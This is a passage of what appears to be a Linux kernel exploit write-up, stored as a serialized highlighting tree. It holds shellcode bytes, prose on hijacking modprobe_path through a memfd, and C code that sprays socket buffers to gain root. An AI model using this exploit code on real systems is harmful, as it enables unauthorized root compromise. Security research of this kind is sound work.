59197],{"type":32,"value":52375},{"type":26,"tag":475,"props":59199,"children":59200},{"class":477,"line":794},[59201,59205,59209,59213,59218,59222,59226,59231,59235,59239,59244,59248,59252,59256],{"type":26,"tag":475,"props":59202,"children":59203},{"style":493},[59204],{"type":32,"value":58861},{"type":26,"tag":475,"props":59206,"children":59207},{"style":499},[59208],{"type":32,"value":58803},{"type":26,"tag":475,"props":59210,"children":59211},{"style":714},[59212],{"type":32,"value":1106},{"type":26,"tag":475,"props":59214,"children":59215},{"style":903},[59216],{"type":32,"value":59217}," 0x2a",{"type":26,"tag":475,"props":59219,"children":59220},{"style":499},[59221],{"type":32,"value":637},{"type":26,"tag":475,"props":59223,"children":59224},{"style":629},[59225],{"type":32,"value":727},{"type":26,"tag":475,"props":59227,"children":59228},{"style":48067},[59229],{"type":32,"value":59230},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":26,"tag":475,"props":59232,"children":59233},{"style":629},[59234],{"type":32,"value":727},{"type":26,"tag":475,"props":59236,"children":59237},{"style":499},[59238],{"type":32,"value":637},{"type":26,"tag":475,"props":59240,"children":59241},{"style":903},[59242],{"type":32,"value":59243},"24",{"type":26,"tag":475,"props":59245,"children":59246},{"style":499},[59247],{"type":32,"value":2794},{"type":26,"tag":475,"props":59249,"children":59250},{"style":714},[59251],{"type":32,"value":8287},{"type":26,"tag":475,"props":59253,"children":59254},{"style":903},[59255],{"type":32,"value":2752},{"type":26,"tag":475,"props":59257,"children":59258},{"style":714},[59259],{"type":32,"value":52375},{"type":26,"tag":475,"props":59261,"children":59262},{"class":477,"line":831},[59263,59267,59271,59275,59280,59284,59288,59293,59297,59301,59306,59310,59314,59318],{"type":26,"tag":475,"props":59264,"children":59265},{"style":493},[59266],{"type":32,"value":58861},{"type":26,"tag":475,"props":59268,"children":59269},{"style":499},[59270],{"type":32,"value":58803},{"type":26,"tag":475,"props":59272,"children":59273},{"style":714},[59274],{"type":32,"value":1106},{"type":26,"tag":475,"props":59276,"children":59277},{"style":903},[59278],{"type":32,"value":59279}," 0x45",{"type":26,"tag":475,"props":59281,"children":59282},{"style":499},[59283],{"type":32,"value":637},{"type":26,"tag":475,"props":59285,"children":59286},{"style":629},[59287],{"type":32,"value":727},{"type":26,"tag":475,"props":59289,"children":59290},{"style":48067},[59291],{"type":32,"value":59292},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":26,"tag":475,"props":59294,"children":59295},{"style":629},[59296],{"type":32,"value":727},{"type":26,"tag":475,"props":59298,"children":59299},{"style":499},[59300],{"type":32,"value":637},{"type":26,"tag":475,"props":59302,"children":59303},{"style":903},[59304],{"type":32,"value":59305},"15",{"type":26,"tag":475,"props":59307,"children":59308},{"style":499},[59309],{"type":32,"value":2794},{"type":26,"tag":475,"props":59311,"children":59312},{"style":714},[59313],{"type":32,"value":8287},{"type":26,"tag":475,"props":59315,"children":59316},{"style":903},[59317],{"type":32,"value":2752},{"type":26,"tag":475,"props":59319,"children":59320},{"style":714},[59321],{"type":32,"value":52375},{"type":26,"tag":475,"props":59323,"children":59324},{"class":477,"line":845},[59325,59329,59333,59337,59342,59346,59350,59355,59359,59363,59367,59371,59375,59379],{"type":26,"tag":475,"props":59326,"children":59327},{"style":493},[59328],{"type":32,"value":58861},{"type":26,"tag":475,"props":59330,"children":59331},{"style":499},[59332],{"type":32,"value":58803},{"type":26,"tag":475,"props":59334,"children":59335},{"style":714},[59336],{"type":32,"value":1106},{"type":26,"tag":475,"props":59338,"children":59339},{"style":903},[59340],{"type":32,"value":59341}," 0x55",{"type":26,"tag":475,"props":59343,"children":59344},{"style":499},[59345],{"type":32,"value":637},{"type":26,"tag":475,"props":59347,"children":59348},{"style":629},[59349],{"type":32,"value":727},{"type":26,"tag":475,"props":59351,"children":59352},{"style":48067},[59353],{"type":32,"value":59354},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":26,"tag":475,"props":59356,"children":59357},{"style":629},[59358],{"type":32,"value":727},{"type":26,"tag":475,"props":59360,"children":59361},{"style":499},[59362],{"type":32,"value":637},{"type":26,"tag":475,"props":59364,"children":59365},{"style":903},[59366],{"type":32,"value":3786},{"type":26,"tag":475,"props":59368,"children":59369},{"style":499},[59370],{"type":32,"value":2794},{"type":26,"tag":475,"props":59372,"children":59373},{"style":714},[59374],{"type":32,"value":8287},{"type":26,"tag":475,"props":59376,"children":59377},{"style":903},[59378],{"type":32,"value":2752},{"type":26,"tag":475,"props":59380,"children":59381},{"style":714},[59382],{"type":32,"value":52375},{"type":26,"tag":475,"props":59384,"children":59385},{"class":477,"line":854},[59386,59390,59394,59398,59403,59407,59411,59416,59420,59424,59428,59432,59436,59440],{"type":26,"tag":475,"props":59387,"children":59388},{"style":493},[59389],{"type":32,"value":58861},{"type":26,"tag":475,"props":59391,"children":59392},{"style":499},[59393],{"type":32,"value":58803},{"type":26,"tag":475,"props":59395,"children":59396},{"style":714},[59397],{"type":32,"value":1106},{"type":26,"tag":475,"props":59399,"children":59400},{"style":903},[59401],{"type":32,"value":59402}," 0x61",{"type":26,"tag":475,"props":59404,"children":59405},{"style":499},[59406],{"type":32,"value":637},{"type":26,"tag":475,"props":59408,"children":59409},{"style":629},[59410],{"type":32,"value":727},{"type":26,"tag":475,"props":59412,"children":59413},{"style":48067},[59414],{"type":32,"value":59415},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":26,"tag":475,"props":59417,"children":59418},{"style":629},[59419],{"type":32,"value":727},{"type":26,"tag":475,"props":59421,"children":59422},{"style":499},[59423],{"type":32,"value":637},{"type":26,"tag":475,"props":59425,"children":59426},{"style":903},[59427],{"type":32,"value":17816},{"type":26,"tag":475,"props":59429,"children":59430},{"style":499},[59431],{"type":32,"value":2794},{"type":26,"tag":475,"props":59433,"children":59434},{"style":714},[59435],{"type":32,"value":8287},{"type":26,"tag":475,"props":59437,"children":59438},{"style":903},[59439],{"type":32,"value":2752},{"type":26,"tag":475,"props":59441,"children":59442},{"style":714},[59443],{"type":32,"value":52375},{"type":26,"tag":475,"props":59445,"children":59446},{"class":477,"line":862},[59447,59451,59455,59459,59464,59468,59472,59477,59481,59485,59489,59493,59497,59501],{"type":26,"tag":475,"props":59448,"children":59449},{"style":493},[59450],{"type":32,"value":58861},{"type":26,"tag":475,"props":59452,"children":59453},{"style":499},[59454],{"type":32,"value":58803},{"type":26,"tag":475,"props":59456,"children":59457},{"style":714},[59458],{"type":32,"value":1106},{"type":26,"tag":475,"props":59460,"children":59461},{"style":903},[59462],{"type":32,"value":59463}," 0x6a",{"type":26,"tag":475,"props":59465,"children":59466},{"style":499},[59467],{"type":32,"value":637},{"type":26,"tag":475,"props":59469,"children":59470},{"style":629},[59471],{"type":32,"value":727},{"type":26,"tag":475,"props":59473,"children":59474},{"style":48067},[59475],{"type":32,"value":59476},"\\x48\\xc7\\xc6",{"type":26,"tag":475,"props":59478,"children":59479},{"style":629},[59480],{"type":32,"value":727},{"type":26,"tag":475,"props":59482,"children":59483},{"style":499},[59484],{"type":32,"value":637},{"type":26,"tag":475,"props":59486,"children":59487},{"style":903},[59488],{"type":32,"value":17002},{"type":26,"tag":475,"props":59490,"children":59491},{"style":499},[59492],{"type":32,"value":2794},{"type":26,"tag":475,"props":59494,"children":59495},{"style":714},[59496],{"type":32,"value":8287},{"type":26,"tag":475,"props":59498,"children":59499},{"style":903},[59500],{"type":32,"value":2752},{"type":26,"tag":475,"props":59502,"children":59503},{"style":714},[59504],{"type":32,"value":52375},{"type":26,"tag":475,"props":59506,"children":59507},{"class":477,"line":885},[59508,59512,59516,59520,59525,59529,59533,59538,59542,59546,59550,59554,59558,59562],{"type":26,"tag":475,"props":59509,"children":59510},{"style":493},[59511],{"type":32,"value":58861},{"type":26,"tag":475,"props":59513,"children":59514},{"style":499},[59515],{"type":32,"value":58803},{"type":26,"tag":475,"props":59517,"children":59518},{"style":714},[59519],{"type":32,"value":1106},{"type":26,"tag":475,"props":59521,"children":59522},{"style":903},[59523],{"type":32,"value":59524}," 0x71",{"type":26,"tag":475,"props":59526,"children":59527},{"style":499},[59528],{"type":32,"value":637},{"type":26,"tag":475,"props":59530,"children":59531},{"style":629},[59532],{"type":32,"value":727},{"type":26,"tag":475,"props":59534,"children":59535},{"style":48067},[59536],{"type":32,"value":59537},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":26,"tag":475,"props":59539,"children":59540},{"style":629},[59541],{"type":32,"value":727},{"type":26,"tag":475,"props":59543,"children":59544},{"style":499},[59545],{"type":32,"value":637},{"type":26,"tag":475,"props":59547,"children":59548},{"style":903},[59549],{"type":32,"value":18128},{"type":26,"tag":475,"props":59551,"children":59552},{"style":499},[59553],{"type":32,"value":2794},{"type":26,"tag":475,"props":59555,"children":59556},{"style":714},[59557],{"type":32,"value":8287},{"type":26,"tag":475,"props":59559,"children":59560},{"style":903},[59561],{"type":32,"value":2752},{"type":26,"tag":475,"props":59563,"children":59564},{"style":714},[59565],{"type":32,"value":52375},{"type":26,"tag":475,"props":59567,"children":59568},{"class":477,"line":913},[59569,59573,59577,59581,59586,59590,59594,59599,59603,59607,59611,59615,59619,59623],{"type":26,"tag":475,"props":59570,"children":59571},{"style":493},[59572],{"type":32,"value":58861},{"type":26,"tag":475,"props":59574,"children":59575},{"style":499},[59576],{"type":32,"value":58803},{"type":26,"tag":475,"props":59578,"children":59579},{"style":714},[59580],{"type":32,"value":1106},{"type":26,"tag":475,"props":59582,"children":59583},{"style":903},[59584],{"type":32,"value":59585}," 0x78",{"type":26,"tag":475,"props":59587,"children":59588},{"style":499},[59589],{"type":32,"value":637},{"type":26,"tag":475,"props":59591,"children":59592},{"style":629},[59593],{"type":32,"value":727},{"type":26,"tag":475,"props":59595,"children":59596},{"style":48067},[59597],{"type":32,"value":59598},"\\xff\\xe0",{"type":26,"tag":475,"props":59600,"children":59601},{"style":629},[59602],{"type":32,"value":727},{"type":26,"tag":475,"props":59604,"children":59605},{"style":499},[59606],{"type":32,"value":637},{"type":26,"tag":475,"props":59608,"children":59609},{"style":903},[59610],{"type":32,"value":2830},{"type":26,"tag":475,"props":59612,"children":59613},{"style":499},[59614],{"type":32,"value":2794},{"type":26,"tag":475,"props":59616,"children":59617},{"style":714},[59618],{"type":32,"value":8287},{"type":26,"tag":475,"props":59620,"children":59621},{"style":903},[59622],{"type":32,"value":2752},{"type":26,"tag":475,"props":59624,"children":59625},{"style":499},[59626],{"type":32,"value":647},{"type":26,"tag":475,"props":59628,"children":59629},{"class":477,"line":926},[59630,59634,59638],{"type":26,"tag":475,"props":59631,"children":59632},{"style":586},[59633],{"type":32,"value":15449},{"type":26,"tag":475,"props":59635,"children":59636},{"style":482},[59637],{"type":32,"value":1214},{"type":26,"tag":475,"props":59639,"children":59640},{"style":499},[59641],{"type":32,"value":2729},{"type":26,"tag":475,"props":59643,"children":59644},{"class":477,"line":948},[59645],{"type":26,"tag":475,"props":59646,"children":59647},{"emptyLinePlaceholder":18},[59648],{"type":32,"value":545},{"type":26,"tag":475,"props":59650,"children":59651},{"class":477,"line":966},[59652,59656,59660],{"type":26,"tag":475,"props":59653,"children":59654},{"style":586},[59655],{"type":32,"value":16695},{"type":26,"tag":475,"props":59657,"children":59658},{"style":482},[59659],{"type":32,"value":8769},{"type":26,"tag":475,"props":59661,"children":59662},{"style":499},[59663],{"type":32,"value":2729},{"type":26,"tag":475,"props":59665,"children":59666},{"class":477,"line":979},[59667],{"type":26,"tag":475,"props":59668,"children":59669},{"style":499},[59670],{"type":32,"value":3607},{"type":26,"tag":475,"props":59672,"children":59673},{"class":477,"line":1006},[59674],{"type":26,"tag":475,"props":59675,"children":59676},{"style":499},[59677],{"type":32,"value":2219},{"type":26,"tag":41,"props":59679,"children":59681},{"id":59680},"overwriting-modprobe_path",[59682,59684],{"type":32,"value":59683},"Overwriting ",{"type":26,"tag":53,"props":59685,"children":59687},{"className":59686},[],[59688],{"type":32,"value":58070},{"type":26,"tag":35,"props":59690,"children":59691},{},[59692,59694,59700],{"type":32,"value":59693},"Finding the ",{"type":26,"tag":53,"props":59695,"children":59697},{"className":59696},[],[59698],{"type":32,"value":59699},"/sbin/modprobe",{"type":32,"value":59701}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":26,"tag":35,"props":59703,"children":59704},{},[59705,59707,59713],{"type":32,"value":59706},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":26,"tag":53,"props":59708,"children":59710},{"className":59709},[],[59711],{"type":32,"value":59712},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":32,"value":59714}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":26,"tag":465,"props":59716,"children":59718},{"className":28812,"code":59717,"language":28814,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[59719],{"type":26,"tag":53,"props":59720,"children":59721},{"__ignoreMap":7},[59722,59729,59751,59759,59766,59774,59782,59790,59798,59805,59813,59820,59858,59869,59876,59883,59890,59917,59948,59955,59977,59990,59997,60055,60062,60090,60097,60104,60125,60132,60153,60164,60171,60178,60199,60206,60234,60247,60254,60261,60310,60317,60385,60392,60413,60433,60440,60447,60454,60474],{"type":26,"tag":475,"props":59723,"children":59724},{"class":477,"line":478},[59725],{"type":26,"tag":475,"props":59726,"children":59727},{"style":499},[59728],{"type":32,"value":2219},{"type":26,"tag":475,"props":59730,"children":59731},{"class":477,"line":516},[59732,59737,59742,59747],{"type":26,"tag":475,"props":59733,"children":59734},{"style":499},[59735],{"type":32,"value":59736}," puts(\"[*] ",{"type":26,"tag":475,"props":59738,"children":59739},{"style":505},[59740],{"type":32,"value":59741},"overwrite",{"type":26,"tag":475,"props":59743,"children":59744},{"style":505},[59745],{"type":32,"value":59746}," modprobe_path",{"type":26,"tag":475,"props":59748,"children":59749},{"style":629},[59750],{"type":32,"value":55983},{"type":26,"tag":475,"props":59752,"children":59753},{"class":477,"line":539},[59754],{"type":26,"tag":475,"props":59755,"children":59756},{"style":629},[59757],{"type":32,"value":59758}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":26,"tag":475,"props":59760,"children":59761},{"class":477,"line":548},[59762],{"type":26,"tag":475,"props":59763,"children":59764},{"style":629},[59765],{"type":32,"value":28889},{"type":26,"tag":475,"props":59767,"children":59768},{"class":477,"line":558},[59769],{"type":26,"tag":475,"props":59770,"children":59771},{"style":629},[59772],{"type":32,"value":59773}," pipebuf->page = modprobe_page;\n",{"type":26,"tag":475,"props":59775,"children":59776},{"class":477,"line":582},[59777],{"type":26,"tag":475,"props":59778,"children":59779},{"style":629},[59780],{"type":32,"value":59781}," pipebuf->offset = modprobe_off;\n",{"type":26,"tag":475,"props":59783,"children":59784},{"class":477,"line":596},[59785],{"type":26,"tag":475,"props":59786,"children":59787},{"style":629},[59788],{"type":32,"value":59789}," pipebuf->len = 0;\n",{"type":26,"tag":475,"props":59791,"children":59792},{"class":477,"line":610},[59793],{"type":26,"tag":475,"props":59794,"children":59795},{"style":629},[59796],{"type":32,"value":59797}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":26,"tag":475,"props":59799,"children":59800},{"class":477,"line":650},[59801],{"type":26,"tag":475,"props":59802,"children":59803},{"style":629},[59804],{"type":32,"value":31359},{"type":26,"tag":475,"props":59806,"children":59807},{"class":477,"line":679},[59808],{"type":26,"tag":475,"props":59809,"children":59810},{"style":629},[59811],{"type":32,"value":59812}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":26,"tag":475,"props":59814,"children":59815},{"class":477,"line":735},[59816],{"type":26,"tag":475,"props":59817,"children":59818},{"style":629},[59819],{"type":32,"value":31395},{"type":26,"tag":475,"props":59821,"children":59822},{"class":477,"line":744},[59823,59828,59832,59836,59840,59845,59849,59853],{"type":26,"tag":475,"props":59824,"children":59825},{"style":629},[59826],{"type":32,"value":59827}," perror(\"",{"type":26,"tag":475,"props":59829,"children":59830},{"style":499},[59831],{"type":32,"value":3440},{"type":26,"tag":475,"props":59833,"children":59834},{"style":714},[59835],{"type":32,"value":4039},{"type":26,"tag":475,"props":59837,"children":59838},{"style":499},[59839],{"type":32,"value":1699},{"type":26,"tag":475,"props":59841,"children":59842},{"style":505},[59843],{"type":32,"value":59844},"write",{"type":26,"tag":475,"props":59846,"children":59847},{"style":499},[59848],{"type":32,"value":626},{"type":26,"tag":475,"props":59850,"children":59851},{"style":505},[59852],{"type":32,"value":41627},{"type":26,"tag":475,"props":59854,"children":59855},{"style":499},[59856],{"type":32,"value":59857},")\");\n",{"type":26,"tag":475,"props":59859,"children":59860},{"class":477,"line":753},[59861,59865],{"type":26,"tag":475,"props":59862,"children":59863},{"style":586},[59864],{"type":32,"value":58651},{"type":26,"tag":475,"props":59866,"children":59867},{"style":499},[59868],{"type":32,"value":2729},{"type":26,"tag":475,"props":59870,"children":59871},{"class":477,"line":761},[59872],{"type":26,"tag":475,"props":59873,"children":59874},{"style":499},[59875],{"type":32,"value":741},{"type":26,"tag":475,"props":59877,"children":59878},{"class":477,"line":770},[59879],{"type":26,"tag":475,"props":59880,"children":59881},{"style":499},[59882],{"type":32,"value":750},{"type":26,"tag":475,"props":59884,"children":59885},{"class":477,"line":794},[59886],{"type":26,"tag":475,"props":59887,"children":59888},{"emptyLinePlaceholder":18},[59889],{"type":32,"value":545},{"type":26,"tag":475,"props":59891,"children":59892},{"class":477,"line":831},[59893,59897,59901,59905,59909,59913],{"type":26,"tag":475,"props":59894,"children":59895},{"style":493},[59896],{"type":32,"value":54308},{"type":26,"tag":475,"props":59898,"children":59899},{"style":499},[59900],{"type":32,"value":626},{"type":26,"tag":475,"props":59902,"children":59903},{"style":714},[59904],{"type":32,"value":2816},{"type":26,"tag":475,"props":59906,"children":59907},{"style":499},[59908],{"type":32,"value":58463},{"type":26,"tag":475,"props":59910,"children":59911},{"style":903},[59912],{"type":32,"value":3732},{"type":26,"tag":475,"props":59914,"children":59915},{"style":499},[59916],{"type":32,"value":58472},{"type":26,"tag":475,"props":59918,"children":59919},{"class":477,"line":845},[59920,59924,59929,59933,59938,59943],{"type":26,"tag":475,"props":59921,"children":59922},{"style":493},[59923],{"type":32,"value":55009},{"type":26,"tag":475,"props":59925,"children":59926},{"style":499},[59927],{"type":32,"value":59928},"(fd_path, ",{"type":26,"tag":475,"props":59930,"children":59931},{"style":482},[59932],{"type":32,"value":55019},{"type":26,"tag":475,"props":59934,"children":59935},{"style":499},[59936],{"type":32,"value":59937},"(fd_path), ",{"type":26,"tag":475,"props":59939,"children":59940},{"style":629},[59941],{"type":32,"value":59942},"\"/proc/%i/fd/%i\"",{"type":26,"tag":475,"props":59944,"children":59945},{"style":499},[59946],{"type":32,"value":59947},", i, modprobe_fd);\n",{"type":26,"tag":475,"props":59949,"children":59950},{"class":477,"line":854},[59951],{"type":26,"tag":475,"props":59952,"children":59953},{"emptyLinePlaceholder":18},[59954],{"type":32,"value":545},{"type":26,"tag":475,"props":59956,"children":59957},{"class":477,"line":862},[59958,59963,59968,59972],{"type":26,"tag":475,"props":59959,"children":59960},{"style":493},[59961],{"type":32,"value":59962}," lseek",{"type":26,"tag":475,"props":59964,"children":59965},{"style":499},[59966],{"type":32,"value":59967},"(modprobe_fd, ",{"type":26,"tag":475,"props":59969,"children":59970},{"style":903},[59971],{"type":32,"value":3732},{"type":26,"tag":475,"props":59973,"children":59974},{"style":499},[59975],{"type":32,"value":59976},", SEEK_SET);\n",{"type":26,"tag":475,"props":59978,"children":59979},{"class":477,"line":885},[59980,59985],{"type":26,"tag":475,"props":59981,"children":59982},{"style":493},[59983],{"type":32,"value":59984}," dprintf",{"type":26,"tag":475,"props":59986,"children":59987},{"style":499},[59988],{"type":32,"value":59989},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":26,"tag":475,"props":59991,"children":59992},{"class":477,"line":913},[59993],{"type":26,"tag":475,"props":59994,"children":59995},{"emptyLinePlaceholder":18},[59996],{"type":32,"value":545},{"type":26,"tag":475,"props":59998,"children":59999},{"class":477,"line":926},[60000,60004,60008,60012,60016,60020,60025,60029,60034,60039,60043,60047,60051],{"type":26,"tag":475,"props":60001,"children":60002},{"style":586},[60003],{"type":32,"value":2980},{"type":26,"tag":475,"props":60005,"children":60006},{"style":499},[60007],{"type":32,"value":2775},{"type":26,"tag":475,"props":60009,"children":60010},{"style":493},[60011],{"type":32,"value":59844},{"type":26,"tag":475,"props":60013,"children":60014},{"style":499},[60015],{"type":32,"value":626},{"type":26,"tag":475,"props":60017,"children":60018},{"style":2375},[60019],{"type":32,"value":58516},{"type":26,"tag":475,"props":60021,"children":60022},{"style":499},[60023],{"type":32,"value":60024},"[pipe_idx][",{"type":26,"tag":475,"props":60026,"children":60027},{"style":903},[60028],{"type":32,"value":3722},{"type":26,"tag":475,"props":60030,"children":60031},{"style":499},[60032],{"type":32,"value":60033},"], fd_path, ",{"type":26,"tag":475,"props":60035,"children":60036},{"style":903},[60037],{"type":32,"value":60038},"32",{"type":26,"tag":475,"props":60040,"children":60041},{"style":499},[60042],{"type":32,"value":2794},{"type":26,"tag":475,"props":60044,"children":60045},{"style":714},[60046],{"type":32,"value":5519},{"type":26,"tag":475,"props":60048,"children":60049},{"style":903},[60050],{"type":32,"value":2752},{"type":26,"tag":475,"props":60052,"children":60053},{"style":499},[60054],{"type":32,"value":647},{"type":26,"tag":475,"props":60056,"children":60057},{"class":477,"line":948},[60058],{"type":26,"tag":475,"props":60059,"children":60060},{"style":499},[60061],{"type":32,"value":31359},{"type":26,"tag":475,"props":60063,"children":60064},{"class":477,"line":966},[60065,60069,60073,60077,60081,60086],{"type":26,"tag":475,"props":60066,"children":60067},{"style":493},[60068],{"type":32,"value":57589},{"type":26,"tag":475,"props":60070,"children":60071},{"style":499},[60072],{"type":32,"value":626},{"type":26,"tag":475,"props":60074,"children":60075},{"style":629},[60076],{"type":32,"value":727},{"type":26,"tag":475,"props":60078,"children":60079},{"style":48067},[60080],{"type":32,"value":48070},{"type":26,"tag":475,"props":60082,"children":60083},{"style":629},[60084],{"type":32,"value":60085},"[-] write(pipe)\"",{"type":26,"tag":475,"props":60087,"children":60088},{"style":499},[60089],{"type":32,"value":3533},{"type":26,"tag":475,"props":60091,"children":60092},{"class":477,"line":979},[60093],{"type":26,"tag":475,"props":60094,"children":60095},{"style":499},[60096],{"type":32,"value":750},{"type":26,"tag":475,"props":60098,"children":60099},{"class":477,"line":1006},[60100],{"type":26,"tag":475,"props":60101,"children":60102},{"emptyLinePlaceholder":18},[60103],{"type":32,"value":545},{"type":26,"tag":475,"props":60105,"children":60106},{"class":477,"line":1046},[60107,60111,60115,60120],{"type":26,"tag":475,"props":60108,"children":60109},{"style":586},[60110],{"type":32,"value":2980},{"type":26,"tag":475,"props":60112,"children":60113},{"style":499},[60114],{"type":32,"value":2775},{"type":26,"tag":475,"props":60116,"children":60117},{"style":493},[60118],{"type":32,"value":60119},"check_modprobe",{"type":26,"tag":475,"props":60121,"children":60122},{"style":499},[60123],{"type":32,"value":60124},"(fd_path))\n",{"type":26,"tag":475,"props":60126,"children":60127},{"class":477,"line":1068},[60128],{"type":26,"tag":475,"props":60129,"children":60130},{"style":499},[60131],{"type":32,"value":31359},{"type":26,"tag":475,"props":60133,"children":60134},{"class":477,"line":1077},[60135,60140,60144,60149],{"type":26,"tag":475,"props":60136,"children":60137},{"style":493},[60138],{"type":32,"value":60139}," puts",{"type":26,"tag":475,"props":60141,"children":60142},{"style":499},[60143],{"type":32,"value":626},{"type":26,"tag":475,"props":60145,"children":60146},{"style":629},[60147],{"type":32,"value":60148},"\"[-] failed to overwrite modprobe\"",{"type":26,"tag":475,"props":60150,"children":60151},{"style":499},[60152],{"type":32,"value":3533},{"type":26,"tag":475,"props":60154,"children":60155},{"class":477,"line":1090},[60156,60160],{"type":26,"tag":475,"props":60157,"children":60158},{"style":586},[60159],{"type":32,"value":3006},{"type":26,"tag":475,"props":60161,"children":60162},{"style":499},[60163],{"type":32,"value":2729},{"type":26,"tag":475,"props":60165,"children":60166},{"class":477,"line":1119},[60167],{"type":26,"tag":475,"props":60168,"children":60169},{"style":499},[60170],{"type":32,"value":750},{"type":26,"tag":475,"props":60172,"children":60173},{"class":477,"line":1132},[60174],{"type":26,"tag":475,"props":60175,"children":60176},{"emptyLinePlaceholder":18},[60177],{"type":32,"value":545},{"type":26,"tag":475,"props":60179,"children":60180},{"class":477,"line":1146},[60181,60185,60189,60194],{"type":26,"tag":475,"props":60182,"children":60183},{"style":586},[60184],{"type":32,"value":2980},{"type":26,"tag":475,"props":60186,"children":60187},{"style":499},[60188],{"type":32,"value":2775},{"type":26,"tag":475,"props":60190,"children":60191},{"style":493},[60192],{"type":32,"value":60193},"trigger_modprobe",{"type":26,"tag":475,"props":60195,"children":60196},{"style":499},[60197],{"type":32,"value":60198},"(status_fd))\n",{"type":26,"tag":475,"props":60200,"children":60201},{"class":477,"line":1155},[60202],{"type":26,"tag":475,"props":60203,"children":60204},{"style":499},[60205],{"type":32,"value":31359},{"type":26,"tag":475,"props":60207,"children":60208},{"class":477,"line":1163},[60209,60213,60217,60221,60225,60230],{"type":26,"tag":475,"props":60210,"children":60211},{"style":493},[60212],{"type":32,"value":60139},{"type":26,"tag":475,"props":60214,"children":60215},{"style":499},[60216],{"type":32,"value":626},{"type":26,"tag":475,"props":60218,"children":60219},{"style":629},[60220],{"type":32,"value":727},{"type":26,"tag":475,"props":60222,"children":60223},{"style":48067},[60224],{"type":32,"value":48070},{"type":26,"tag":475,"props":60226,"children":60227},{"style":629},[60228],{"type":32,"value":60229},"[+] got root\"",{"type":26,"tag":475,"props":60231,"children":60232},{"style":499},[60233],{"type":32,"value":3533},{"type":26,"tag":475,"props":60235,"children":60236},{"class":477,"line":1172},[60237,60242],{"type":26,"tag":475,"props":60238,"children":60239},{"style":586},[60240],{"type":32,"value":60241}," goto",{"type":26,"tag":475,"props":60243,"children":60244},{"style":499},[60245],{"type":32,"value":60246}," out;\n",{"type":26,"tag":475,"props":60248,"children":60249},{"class":477,"line":1181},[60250],{"type":26,"tag":475,"props":60251,"children":60252},{"style":499},[60253],{"type":32,"value":750},{"type":26,"tag":475,"props":60255,"children":60256},{"class":477,"line":1189},[60257],{"type":26,"tag":475,"props":60258,"children":60259},{"emptyLinePlaceholder":18},[60260],{"type":32,"value":545},{"type":26,"tag":475,"props":60262,"children":60263},{"class":477,"line":1221},[60264,60269,60273,60277,60281,60285,60289,60293,60297,60302,60306],{"type":26,"tag":475,"props":60265,"children":60266},{"style":586},[60267],{"type":32,"value":60268}," for",{"type":26,"tag":475,"props":60270,"children":60271},{"style":499},[60272],{"type":32,"value":2775},{"type":26,"tag":475,"props":60274,"children":60275},{"style":482},[60276],{"type":32,"value":18755},{"type":26,"tag":475,"props":60278,"children":60279},{"style":499},[60280],{"type":32,"value":54235},{"type":26,"tag":475,"props":60282,"children":60283},{"style":714},[60284],{"type":32,"value":786},{"type":26,"tag":475,"props":60286,"children":60287},{"style":903},[60288],{"type":32,"value":2752},{"type":26,"tag":475,"props":60290,"children":60291},{"style":499},[60292],{"type":32,"value":50925},{"type":26,"tag":475,"props":60294,"children":60295},{"style":714},[60296],{"type":32,"value":5519},{"type":26,"tag":475,"props":60298,"children":60299},{"style":499},[60300],{"type":32,"value":60301}," SKBUF_SPRAY; 